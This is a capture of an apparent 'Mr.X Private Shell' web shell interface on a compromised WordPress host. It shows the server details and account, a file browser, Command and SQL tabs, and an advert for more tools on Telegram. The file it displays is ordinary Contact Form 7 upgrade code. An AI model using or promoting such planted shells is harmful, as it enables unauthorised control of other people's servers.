Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content///plugins/contact-form-7/includes      ( Reset | Go to )
File Name: upgrade.php
Edit
<?php

add_action
'wpcf7_upgrade''wpcf7_upgrade_58'10);

/**
 * Runs functions necessary when upgrading from old plugin versions before 5.8.
 *
 * @since 5.8.0 New `_config_validation` post meta is introduced.
 */
function wpcf7_upgrade_58$new_ver$old_ver ) {
    if ( ! 
version_compare$old_ver'5.8-dev''<' ) ) {
        return;
    }

    
$posts WPCF7_ContactForm::find( array(
        
'post_status' => 'any',
        
'posts_per_page' => -1,
    ) );

    foreach ( 
$posts as $post ) {
        
$post_id $post->id();

        
// Delete the old post meta for config-validation results.
        
delete_post_meta$post_id'_config_errors' );

        
// Add the contact form hash.
        
add_post_meta$post_id'_hash',
            
wpcf7_generate_contact_form_hash$post_id ),
            
true // Unique
        
);
    }
}


add_action'wpcf7_upgrade''wpcf7_convert_to_cpt'10);

/**
 * Converts old data in the dedicated database table to custom posts.
 *
 * @since 3.0.0 `wpcf7_contact_form` CPT is introduced.
 */
function wpcf7_convert_to_cpt$new_ver$old_ver ) {
    global 
$wpdb;

    if ( ! 
version_compare$old_ver'3.0-dev''<' ) ) {
        return;
    }

    
$old_rows = array();

    
$table_name $wpdb->prefix "contact_form_7";

    if ( 
$wpdb->get_var"SHOW TABLES LIKE '$table_name'" ) ) {
        
$old_rows $wpdb->get_results"SELECT * FROM $table_name);
    } elseif ( 
$opt get_option'wpcf7' )
    and ! empty( 
$opt['contact_forms'] ) ) {
        foreach ( (array) 
$opt['contact_forms'] as $key => $value ) {
            
$old_rows[] = (object) array_merge(
                
$value,
                array( 
'cf7_unit_id' => $key )
            );
        }
    }

    foreach ( (array) 
$old_rows as $row ) {
        
$q "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'"
            
$wpdb->prepare" AND meta_value = %d"$row->cf7_unit_id );

        if ( 
$wpdb->get_var$q ) ) {
            continue;
        }

        
$postarr = array(
            
'post_type' => 'wpcf7_contact_form',
            
'post_status' => 'publish',
            
'post_title' => maybe_unserialize$row->title ),
        );

        
$post_id wp_insert_post$postarr );

        if ( 
$post_id ) {
            
update_post_meta$post_id'_old_cf7_unit_id'$row->cf7_unit_id );

            
$metas = array(
                
'form',
                
'mail',
                
'mail_2',
                
'messages',
                
'additional_settings',
            );

            foreach ( 
$metas as $meta ) {
                
update_post_meta$post_id'_' $meta,
                    
wpcf7_normalize_newline_deepmaybe_unserialize$row->{$meta} ) )
                );
            }
        }
    }
}


add_action'wpcf7_upgrade''wpcf7_prepend_underscore'10);

/**
 * Prepends an underscore to post meta keys.
 */
function wpcf7_prepend_underscore$new_ver$old_ver ) {
    if ( 
version_compare$old_ver'3.0-dev''<' ) ) {
        return;
    }

    if ( ! 
version_compare$old_ver'3.3-dev''<' ) ) {
        return;
    }

    
$posts WPCF7_ContactForm::find( array(
        
'post_status' => 'any',
        
'posts_per_page' => -1,
    ) );

    foreach ( 
$posts as $post ) {
        
$props $post->get_properties();

        foreach ( 
$props as $prop => $value ) {
            if ( 
metadata_exists'post'$post->id(), '_' $prop ) ) {
                continue;
            }

            
update_post_meta$post->id(), '_' $prop$value );
            
delete_post_meta$post->id(), $prop );
        }
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL